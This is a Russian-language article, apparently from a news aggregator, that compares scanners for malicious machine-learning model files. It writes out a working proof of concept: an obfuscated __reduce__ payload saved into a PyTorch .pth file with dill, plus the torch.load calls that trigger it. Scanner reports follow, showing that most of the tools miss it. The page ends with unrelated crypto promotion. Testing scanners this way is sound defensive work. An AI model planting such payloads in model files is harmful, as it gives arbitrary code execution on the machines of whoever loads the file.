{ "bytes_scanned": 360, "issues": [ { "message": "Found REDUCE opcode with non-allowlisted global: _reconstruct.ndarray. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)", "severity": "warning", "location": "...\\bypass_numpy.pkl (pos 283)", "details": { "position": 283, "opcode": "REDUCE", "associated_global": "_reconstruct.ndarray", "cve_id": "CVE-2025-32434", "ml_context_confidence": 0.135 }, "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.", "timestamp": 1766489299.795178, "type": "pickle_check" }, { "message": "STACK_GLOBAL opcode found without sufficient string context", "severity": "info", "location": "...\\bypass_numpy.pkl (pos 302)", "details": { "position": 302, "opcode": "STACK_GLOBAL", "stack_size": 1, "ml_context_confidence": 0.135 }, "why": "STACK_GLOBAL requires two strings on the stack (module and function name) to import and access module attributes. Insufficient context prevents determining which module is being accessed.", "timestamp": 1766489299.7956276, "type": "pickle_check" } ], "checks": [ < СОКРАЩЕНО > ], "files_scanned": 1, "assets": [ { "path": "...\\bypass_numpy.pkl", "type": "pickle", "size": 360 } ], "has_errors": false, "scanner_names": [], "file_metadata": { "...\\bypass_numpy.pkl": { "file_size": 360, "file_hashes": { "md5": "218060b2af6fa1e7cfde170a407c22ed", "sha256": "a7d0548dea9f44333a0096f3712d14bd2cdf4ab487934a8553942cd9735e83cd", "sha512": "45e786da9657fb51e98a887c3870a6a54ac3060b00a20b4dc50102a64d72bde45424c0a57844e89841e3188daa8b2b8c99564689a5e594a1da6881c84a039b79" }, "max_stack_depth": 7, "opcode_count": 152, "suspicious_count": 0, "ml_context": { "frameworks": { "sklearn": { "confidence": 0.135, "indicators": [], "file_patterns": [] } }, "overall_confidence": 0.135, "is_ml_content": false, "detected_patterns": [ "module:numpy(1)" ], "optimization_hints": [] }, "license_info": [], "copyright_notices": [], "license_files_nearby": [], "is_dataset": true, "is_model": true, "risk_score": 0.0, "scan_timestamp": 1766489299.7962291 } }, "content_hash": "efe87668d7c0ba45b2294d6fba02025c30c1ce2a8537716f9a9216b3c7576af0", "start_time": 1766489299.430575, "duration": 0.368363618850708, "total_checks": 16, "passed_checks": 14, "failed_checks": 1, "success": true }

Использование форматов, расширяющих функционал Pickle

Существуют протоколы, которые позволяют сериализовать еще больший список объектов по сравнению со стандартным Pickle. Примерами таких форматов являются dill и cloudpickle.

В качестве альтернативного механизма сериализации PyTorch поддерживает Dill. Его ключевое преимущество — возможность сохранять функции и лямбда-выражения. Пример такой сериализации:

import torch import dill def run_cmd(cmd): x = '__im' y = 'po' z = 'rt__' o = 'o' s = 's' import builtins module = getattr(builtins, x + y + z)(o + s) getattr(module, 'sys' + 'tem')(cmd) class Exploit: def __reduce__(self): return (run_cmd, ("echo HACKED >> /tmp/hacked_obf",)) model = torch.nn.Linear(1, 1) exploit = Exploit() torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Представленный код помимо использования dill демонстрирует своеобразную обфускацию кода внутри вызываемой функции.

Для успешной (с точки зрения злоумышленника) загрузки malicious.pth можно использовать несколько подходов:

  • torch.load('malicious.pth', pickle_module=dill)

  • torch.load('malicious.pth', weights_only=False)

Последнему варианту стоит уделить особое внимание, так как до PyTorch 2.6 атрибут weights_only не был задан как True по умолчанию и вдобавок к этому поиск на GitHub по запросу "torch" AND "weights_only=False" выдает более 80 тыс. результатов.

Сводка проверок собранного malicious.pth всеми сканерами (отчеты сканеров представлены ниже):

Сканер

Найдены ли проблемы

Уровень опасности

Обозначения сработавших проверок

picklescan

modelscan

fickling

не поддерживает формат .pth

modelaudit

warning, critical

1. Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected

2. Legacy dangerous pattern detected: __import__

3. Suspicious reference dill._dill._create_code

4. ...

Отчет picklescan:

$ picklescan --globals --path .\malicious.pth ----------- SCAN SUMMARY ----------- Scanned files: 1 Infected files: 0 Dangerous globals: 0 All globals found: * dill._dill._create_code - suspicious * _codecs.encode - suspicious * torch.nn.modules.linear.Linear - suspicious * __main__.__dict__ - suspicious * torch._utils._rebuild_tensor_v2 - innocuous * collections.OrderedDict - innocuous * torch._utils._rebuild_parameter - suspicious * dill._dill._load_type - suspicious * dill._dill._create_function - suspicious * torch.FloatStorage - innocuous

Отчет modelscan:

$ modelscan -p malicious.pth No settings file detected at /.../modelscan-settings.toml. Using defaults. Scanning /.../malicious.pth:malicious/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan --- Summary --- No issues found! 🎉 --- Skipped ---Отчет modelaudit (для краткости из отчета удалены проверки, не выдавшие результат)

{ "bytes_scanned": 5522, "issues": [ { "message": "Suspicious patterns detected: STACK_GLOBAL(3), GLOBAL(9), OBJ(1), NEWOBJ(1), REDUCE(3) opcodes detected", "severity": "warning", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl", "details": { "cve_id": "CVE-2025-32434", "opcode_counts": { "STACK_GLOBAL": 3, "GLOBAL": 9, "OBJ": 1, "NEWOBJ": 1, "REDUCE": 3 }, "total_dangerous_opcodes": 17, "unique_opcode_types": [ "OBJ", "NEWOBJ", "STACK_GLOBAL", "GLOBAL", "REDUCE" ], "code_execution_risks": [ "New-style object creation", "Module import and attribute access", "Object creation code execution", "Direct code execution patterns", "Dynamic import and attribute access", "__reduce__ method exploitation" ], "import_analysis": { "total_imports": 10, "all_legitimate": false, "found_malicious": [], "found_imports": [ "__main__.__dict__", "_codecs.encode", "dill._dill._create_function", "torch.nn.modules.linear.Linear", "torch.FloatStorage", "torch._utils._rebuild_parameter", "torch._utils._rebuild_tensor_v2", "dill._dill._load_type", "collections.OrderedDict", "dill._dill._create_code" ] }, "safetensors_available": false, "assessment": "suspicious", "vulnerability_description": "The weights_only=True parameter in torch.load() does not prevent code execution from pickle files, contrary to common security assumptions.", "recommendation": "Model contains unusual pickle patterns that require manual review. Consider using SafeTensors format or verifying model source before deployment.", "affected_pytorch_versions": "All versions ≤2.5.1", "fixed_in": "PyTorch 2.6.0" }, "timestamp": 1766529556.1877365, "type": "pytorch_zip_check" }, { "message": "Legacy dangerous pattern detected: __import__", "severity": "warning", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl", "details": { "pattern": "__import__", "detection_method": "legacy_pattern_matching", "pickle_filename": "no_obf/data.pkl" }, "timestamp": 1766529556.176348, "type": "pickle_check" }, { "message": "Suspicious reference dill._dill._create_code", "severity": "critical", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl", "details": { "module": "dill._dill", "function": "_create_code", "opcode": "STACK_GLOBAL", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.", "timestamp": 1766529556.1856666, "type": "pickle_check" }, { "message": "Suspicious reference dill._dill._load_type", "severity": "critical", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl", "details": { "module": "dill._dill", "function": "_load_type", "opcode": "STACK_GLOBAL", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.", "timestamp": 1766529556.1858368, "type": "pickle_check" }, { "message": "Suspicious reference dill._dill._create_function", "severity": "critical", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl", "details": { "module": "dill._dill", "function": "_create_function", "opcode": "STACK_GLOBAL", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.", "timestamp": 1766529556.1860723, "type": "pickle_check" }, { "message": "Found NEWOBJ opcode - potential code execution", "severity": "warning", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 53)", "details": { "position": 53, "opcode": "NEWOBJ", "argument": "None", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The NEWOBJ opcode creates new-style class instances. It can execute initialization code and is commonly used in pickle exploits.", "timestamp": 1766529556.1862166, "type": "pickle_check" }, { "message": "Suspicious reference dill._dill._load_type", "severity": "critical", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 438)", "details": { "module": "dill._dill", "function": "_load_type", "position": 438, "opcode": "GLOBAL", "import_reference": "dill._dill._load_type", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.", "timestamp": 1766529556.1864522, "type": "pickle_check" }, { "message": "Found REDUCE opcode with non-allowlisted global: dill._dill._load_type. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)", "severity": "critical", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 476)", "details": { "position": 476, "opcode": "REDUCE", "associated_global": "dill._dill._load_type", "cve_id": "CVE-2025-32434", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.", "timestamp": 1766529556.186561, "type": "pickle_check" }, { "message": "Suspicious reference dill._dill._create_function", "severity": "critical", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 977)", "details": { "module": "dill._dill", "function": "_create_function", "position": 977, "opcode": "GLOBAL", "import_reference": "dill._dill._create_function", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.", "timestamp": 1766529556.1866915, "type": "pickle_check" }, { "message": "Suspicious reference dill._dill._create_code", "severity": "critical", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1009)", "details": { "module": "dill._dill", "function": "_create_code", "position": 1009, "opcode": "GLOBAL", "import_reference": "dill._dill._create_code", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The 'dill' module extends pickle's capabilities to serialize almost any Python object, including lambda functions and code objects. This significantly increases the attack surface for code execution.", "timestamp": 1766529556.1867952, "type": "pickle_check" }, { "message": "Found REDUCE opcode with non-allowlisted global: _codecs.encode. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)", "severity": "warning", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1094)", "details": { "position": 1094, "opcode": "REDUCE", "associated_global": "_codecs.encode", "cve_id": "CVE-2025-32434", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.", "timestamp": 1766529556.1869295, "type": "pickle_check" }, { "message": "Found REDUCE opcode with non-allowlisted global: __main__.__dict__. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)", "severity": "warning", "location": "...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl ...\\torch_obfuscated\\no_obf.pth:no_obf/data.pkl (pos 1737)", "details": { "position": 1737, "opcode": "REDUCE", "associated_global": "__main__.__dict__", "cve_id": "CVE-2025-32434", "ml_context_confidence": 0.315, "pickle_filename": "no_obf/data.pkl" }, "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.", "timestamp": 1766529556.1870513, "type": "pickle_check" } ], "checks": [ < СОКРАЩЕНО > ], "files_scanned": 1, "assets": [ { "path": "...\\torch_obfuscated\\no_obf.pth", "type": "pytorch_zip", "size": 3421 } ], "has_errors": false, "scanner_names": [], "file_metadata": { "...\\torch_obfuscated\\no_obf.pth": { "file_size": 3421, "file_hashes": { "md5": "84a4506f4c738417a0448d1e3768f230", "sha256": "bbe230a6e86e6200662186f400e76f6bbbe5f10097950f9bbe3692c2d377a7d2", "sha512": "3cbb48b4bc86427f889b72269ac72d38e2cfd9a3f47856db2f2ca6a13fec14ec30e4a3d82f9d9cd223baa2acbaca0d9842371cc9029d6a546e67a38e8c8c9e68" }, "max_stack_depth": 18, "opcode_count": 345, "suspicious_count": 6, "ml_context": { "frameworks": { "pytorch": { "confidence": 0.315, "indicators": [], "file_patterns": [] } }, "overall_confidence": 0.315, "is_ml_content": true, "detected_patterns": [ "module:torch(4)", "module:collections(1)" ], "optimization_hints": [] }, "license_info": [], "copyright_notices": [], "license_files_nearby": [], "is_dataset": false, "is_model": true, "risk_score": 0.0, "scan_timestamp": 1766529556.1899319, "pickle_files": [ "no_obf/data.pkl" ] } }, "content_hash": "9b51092dc796284028b3f7f6cf3d6ac7d11f9b8d761127d01885ed0a0cffe9a1", "start_time": 1766529554.3617566, "duration": 1.8323705196380615, "total_checks": 24, "passed_checks": 18, "failed_checks": 6, "success": true }

Выводы

Как бы это банально ни звучало – использование непроверенных моделей машинного обучения повышает риски наступления опасного инцидента ИБ, но для снижения этих рисков недостаточно выбрать какой-то новый сканер, ведь у каждого из них есть свои ограничения как по применяемым типам проверок, так и по поддерживаемым форматам сериализации моделей.

Среди всех проанализированных инструментов самым зрелым оказался modeaudit, опережая всех конкурентов по основным, на мой взгляд, параметрам:

  • Подробная документация,

  • Множество поддерживаемых для сканирования форматов хранения моделей,

  • Множество разнообразных типов проверок.

Стоит уточнить, что в данном обзоре никак не фигурировали возможные ошибки первого рода (False Positive). Но если вы не занимаетесь проверкой сотен и более моделей в день, то для вас основной проблемой при сканировании будет ошибка второго рода, то есть, False Negative.

P.S.: Выражаю благодарность за помощь в доработке статьи Артёму Семёнову, автору канала @pwnai

Источник

Возможности рынка
Логотип Mintlayer
Mintlayer Курс (ML)
$0.01546
$0.01546$0.01546
-10.11%
USD
График цены Mintlayer (ML) в реальном времени
Отказ от ответственности: Статьи, размещенные на этом веб-сайте, взяты из общедоступных источников и предоставляются исключительно в информационных целях. Они не обязательно отражают точку зрения MEXC. Все права принадлежат первоисточникам. Если вы считаете, что какой-либо контент нарушает права третьих лиц, пожалуйста, обратитесь по адресу service@support.mexc.com для его удаления. MEXC не дает никаких гарантий в отношении точности, полноты или своевременности контента и не несет ответственности за любые действия, предпринятые на основе предоставленной информации. Контент не является финансовой, юридической или иной профессиональной консультацией и не должен рассматриваться как рекомендация или одобрение со стороны MEXC.

Вам также может быть интересно

Seeker (SKR) скоро будет листиться на Bybit Спот, Alpha и Byreal.

Seeker (SKR) скоро будет листиться на Bybit Спот, Alpha и Byreal.

PANews сообщил 21 января, что Bybit запустит Seeker (SKR) на своих платформах спот, Alpha и Byreal. Пользователи могут быстро торговать без настройки отдельного
Поделиться
PANews2026/01/21 08:20
Trove Markets сохраняет средства ICO в размере 9,4 $ млн после изменения платформы

Trove Markets сохраняет средства ICO в размере 9,4 $ млн после изменения платформы

Критики ставят под сомнение управление фондами Trove, поднимая вопросы доверия и правовые проблемы, в то время как ончейн-анализ выявил концентрированную активность кошельков в ходе предпродажи, что вызвало
Поделиться
Crypto.news2026/01/21 08:30
Сможет ли он вернуть 1$ в то время как скрытый претендент на предпродаже становится лучшей криптовалютой для инвестиций в 2025 году?

Сможет ли он вернуть 1$ в то время как скрытый претендент на предпродаже становится лучшей криптовалютой для инвестиций в 2025 году?

Пост «Сможет ли он вернуть 1 доллар, пока Скрытая дивергенция претендента на предпродажу становится лучшим крипто для инвестиций в 2025 году?» появился на BitcoinEthereumNews.com. Каждый цикл вызывает один и тот же вопрос: что, если это тот самый? Инвесторы сканируют горизонт в поисках лучшего крипто для инвестиций в 2025 году, надеясь обнаружить проект, способный многократно увеличить их капитал. Некоторые токены обеспечивают быстрорастущие ралли, в то время как другие создают терпеливые экосистемы, которые вознаграждают держателей долгосрочной устойчивостью. Отделение хайпа от реальной тяги никогда не было более важным. Cronos ($CRO) является одним из самых обсуждаемых имен в этом разговоре. Поддерживаемый процветающей экосистемой, его производительность в последние месяцы была не чем иным, как драматической. С более чем 181% прибыли за год и резким ростом на 66% за последний месяц, Cronos продемонстрировал свою способность захватывать как моментум, так и любопытство инвесторов. Тем не менее, его долгосрочный вопрос остается: сможет ли он вернуть прошлые максимумы и обеспечить актуальность в все более конкурентном мире крипто-экосистем? Именно здесь BlockchainFX ($BFX) вступает с совершенно другим ценностным предложением. В настоящее время на предпродаже, он уже собрал 7,75 миллиона долларов, привлек более 10 304 держателей и оценил свои токены в 0,023 доллара, с подтвержденной ценой запуска 0,05 доллара. Это само по себе гарантирует рост на 127% до выхода на биржи. Но предложение больше, чем краткосрочные цифры. Позиционируя себя как крипто-нативное супер-приложение, BlockchainFX позволяет пользователям торговать более чем 500 активами в одном месте. Аналитики начали ранжировать его как лучший крипто для инвестиций в 2025 году, призывая инвесторов покупать токен BlockchainFX, пока окно предпродажи еще открыто. Cronos ($CRO): Ветеранская экосистема со свежим моментумом Cronos, работающий на Crypto.com, занял свое место как один из самых узнаваемых утилитарных токенов на рынке. С ценой 0,2333 доллара и рыночной капитализацией 8,11 миллиарда долларов, он остается тяжеловесом в секторе. За прошедший год Cronos вырос на 181%, с резким ростом на 66%...
Поделиться
BitcoinEthereumNews2025/09/22 01:59